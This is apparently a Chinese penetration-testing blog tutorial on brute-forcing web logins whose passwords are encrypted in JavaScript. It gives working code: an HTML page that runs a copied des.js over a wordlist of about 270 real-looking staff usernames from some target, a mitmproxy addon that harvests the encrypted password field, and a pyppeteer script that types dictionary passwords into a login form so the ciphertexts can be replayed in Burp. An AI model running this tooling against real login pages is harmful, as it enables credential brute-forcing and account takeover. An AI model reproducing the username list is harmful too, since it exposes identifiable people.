爆破在渗透测试过程中是不可缺少的一环,而在web后台的爆破中可能会受到js加密的影响,对爆破造成困难,此篇文章就是为了解决这个问题。
常规的破解js加密思路是寻找js加密函数自行处理字典,如以下案例:
登录抓包发现账号密码全部加密传输
于是寻找js加密函数:
阅读js发现加密流程为调用des.js的strEnc函数传入strEnc(password,'1','2','3');完成加密。
遂拷贝下目标的des.js,并将密码字典通过python处理为js的数组格式:
f = open("users.txt","r")
a=[]
for i in f:
a.append(i.strip())
print(a)
插入自己的html中:
<!DOCTYPE html>
<html>
<head>
<script src="./des.js"></script>
</head>
<body>
<script type="text/javascript">
let arr= ['', 'muqingliang', 'fanxiaojun2', 'ph_kanglijun', 'jc_zhangjing', 'dingwen', 'huyanhong', 'shenxiangxian', 'zhoujiayi', 'jiang_xiaolei', 'ck_baihao', 'dengjianping', 'jc_yanglinjie', 'jc_daijiarong', 'xuzihao', 'ck_yangjinmin', 'ckbgs', 'yaoxianfeng', 'ck_xijiayi', 'lianbo', 'gaofeng', 'qiyunmei', 'xurui', 'liuyu', 'liangdong', 'zhangjingdong', 'chenyijiang', 'xuzheng', 'liyi', 'liyinsheng', 'gaowei', 'wangchao', 'duxingyi1', 'liuzhiwu', 'huangyanfang', 'jc_guanjunkun', 'yangdi', 'liyintao', 'changguofeng', 'gongjingyun', 'zhangyunsheng', 'wangyan', 'yujianning', 'liyuan', 'weimin', 'lilihua', 'dongyoujuan', 'wenjia', 'xuxiaosong', 'xijiayi', 'zhuanglu', 'zhangwei', 'houyunpeng', 'lijikun', 'sunrui', 'kanglijun', 'wangzhuo', 'mazheng', 'fanxiaojun', 'tangyuqiang', 'heting', 'dengxiaoyan', 'zhangxiaolei', 'tianshuqun', 'yangmengfei', 'mayuanyuan', 'lvyi', 'liujiayun', 'duxingyi', 'yuyuan', 'yangyuechen', 'wangjunyi', 'daili', 'muyongjuan', 'dongqiongmei', 'zhouquan', 'ah_liushulei', 'dingchen', 'dongcongming', 'hequnyan', 'weiping', 'lijingwen', 'xiaoyang', 'shanwen', 'huangyi', 'zhangyang', 'zhaoxingkai', 'sunyanfang', 'jiangyufeng', 'lilian', 'songxiaojiang', 'luojun', 'lihairong', 'yangyun', 'liyongji', 'tanzhijun', 'wangjuxian', 'lidong', 'wangliping', 'chenmengtang', 'lidong', 'yangyuan', 'zhangting', 'jc_wangyan', 'yangtianfu', 'huying', 'mxgs', 'yanzelan', 'wangjie', 'erjianyong', 'wangning', 'jc_mali', 'suhaiyan', 'heyanfen', 'zhanglejia', 'huangyong', 'wuliwei', 'liuhailin', 'zhouyang', 'jiangjun', 'guanxiaodong', 'liu_min', 'liushulei', 'hekunyang', 'liangjie', 'zhangpengjie', 'wangruitao', 'nahan', 'yangli', 'caoyingkun', 'shaoshidian', 'huxianxiang', 'yangyanping', 'zhaoyuan', 'yangjinmin', 'xingzhihong', 'liangling', 'chenluou', 'luozitao', 'zhengliyuan', 'maliying', 'dairuoxia', 'xieyu', 'wujiang', 'baihao', 'yangzhiyuan', 'liuraolin', 'luofushun', 'dingfupei', 'zhangfan', 'jjgshq', 'ruanzhen', 'liduolian', 'lixiaomei', 'qinzihan', 'shilin', 'mazhaosheng', 'pujinyi', 'caichenhang', 'yangxinling', 'yanghao', 'zhangyi', 'xuzhihui', 'jc_huying', 'liqi', 'jc_huangyanfang', 'sujun', 'shisuli', 'zhangjing', 'zhouganjie', 'ganlu', 'mali', 'qiulisheng', 'huangqiong', 'zhougensheng', 'yanglinjie', 'wangwei', 'fujing', 'chenfeilong', 'lihuifen', 'guanjunkun', 'huyidan', 'daijiarong', 'yejunming', 'tanli', 'xiaoyuantai', 'licunzhi', 'xuchen', 'admin', 'jufengxia', 'yangjiaojiao', 'lian', 'xiongshufang', 'niyunfeng', 'liuying', 'liguiqin', 'lichunbi', 'huangmingcong', 'weiyumeng', 'wangxiling', 'chenlicun', 'pingqiming', 'jiangxiaolei', 'jc_zhangyang', 'tz_huangqiong', 'ganenxian', 'apptest', 'tianyuemei', 'lihongjuan', 'huangchunhong', 'panying', 'anrui', 'yangtianrui', 'hanqicen', 'hehui', 'zhangjianrong', 'zujiayu', 'liuyunzhou', 'zhengquanhong', 'liling', 'weihongli', 'wanglei', 'zhangwenxia', 'chenxiaodong', 'wangsailun', 'mochuan', 'liwenwei', 'zhangyuxi', 'wangzhongbin', 'daixunlin', 'fanhongwen', 'changyanping', 'jc_huyidan', 'niumingzhong', 'liyan', 'shaotao', 'lilinfei', 'yangqiwei', 'tangruojing', 'pengyan', 'wenhongwei', 'lianghong', 'zhangxue', 'liyongsheng', 'liaiying', 'shenxiaoqing', 'jc_wanghai', 'wangruiqi', 'wangxianglu', 'yehong', 'chenhanming', 'yangjingyu', 'zhengpeng', 'wangxinru', 'yangshutang', 'yanghaoyun', 'liyanchun', 'ph_muyongjuan', 'tangbenrong', 'zhangchunxiang', 'dengbaoceshi', 'liqiong', 'yangjing', 'wanghai', 'zhang_jing', 'weibin', 'zheng_peng', 'bzfgs', 'yangxijia', 'zhouyan']
//var pwd="";
for(let i=arr.length;i>=0;i--){
password = arr[i];
password = password + "";
//document.write(password);
pwd = strEnc(password,'1','2','3');
document.write(pwd);
document.write("<br>
");
}
</script>
</body>
</html>
打开html即可获得加密后的字符串:
然后burp像平常一样爆破即可
此类方法虽然有效,但是在其他实战环境中难免遇到js混淆或者js极其难以读懂的情况。为了解决这种情况,采集器的想法浮现出来。可以利用python的pyppeteer模块完成模拟浏览器的明文密码输入,再利用python的mitmproxy模块进行流量截取,提取出js加密后的内容即可。说干就干
首先需要完成流量截取的功能,mitmproxy是用于 MITM 的 proxy,MITM 即中间人攻击。用于中间人攻击的代理首先会向正常的代理一样转发请求,保障服务端与客户端的通信,其次,会适时的查、记录其截获的数据,或篡改数据,引发服务端或客户端特定的行为。
这里采用它的正向代理模式,使用针对http的生命周期
def request(self, flow: mitmproxy.http.HTTPFlow):
完成post body的截取处理
观察请求包后
构造程序如下
gather.py:
from mitmproxy import ctx, flowfilter class Recorder: def request(self, flow): re = flow.request.get_text() string = re.split('&')# 从&分割开 for secret in string: if 'password' in secret:# 提取出password=balabala s = secret.split('=',1)[1:]# 提取出等号后的内容 f = open("pass.txt", "a")# 追加写入文件 f.writelines(s[0] + "\n") f.close() addons = [ Recorder() ]
mitmweb -s 1.py即可开启监听,默认监听在8080端口(8081端口为流量的历史记录)
手动爆破3次看看:
打开pass.txt即可发现加密后的字符串被提了出来
提取器完成,下面编写怎么输入明文密码模拟浏览器请求。
利用比selenium更好用的pyppeteer爬虫模块。Puppeteer 是 Google 基于 Node.js 开发的一个工具,有了它可以通过 JavaScript 来控制 Chrome 浏览器的一些操作。其 API 极其完善,功能非常强大, Pyppeteer是Puppeteer Python 版本的实现。
观察html, 构造代码如下:
proxier.py:
import asyncio from pyppeteer import launch import time, re async def main(): url = "https://xxx/xxx/login.htm" f = open("pass.txt", "r") for password in f.readlines(): browser = await launch({'headless': False,"userDataDir":r"C:\\Users\\Administrator\\Desktop\\2\\tmp", 'args': ['--no-sandbox',"--ignore-certificate-errors", "--allow-running-insecure-content",'--proxy-server=127.0.0.1:8080'], "ignoreHTTPSErrors": True }) page = await browser.newPage() await page.setJavaScriptEnabled(enabled=True) await page.setUserAgent( 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' ) await page.goto(url) password = password.strip() await page.type("input[id=username]", "test") await page.type("input[id=password", password) await page.type("input[id=code", "0000") await page.click('button[type="submit"]') await page.waitFor(1000) # res = await page.content() await page.close() await browser.close() asyncio.get_event_loop().run_until_complete(main())
它会打开chorme找到input标签的位置插入pass.txt中的每一行,并将流量代理至127.0.0.1:8080。mitmproxy收到流量会将加密后的密码字段提取出来做成新的字典(有些情况可能因为网络原因需要做适当的delay)
mitmproxy开启监听:
pyppeteer模拟爆破登录:
喝杯咖啡 等待明文字典跑完
proxier.py根目录即可采集生成密文字典: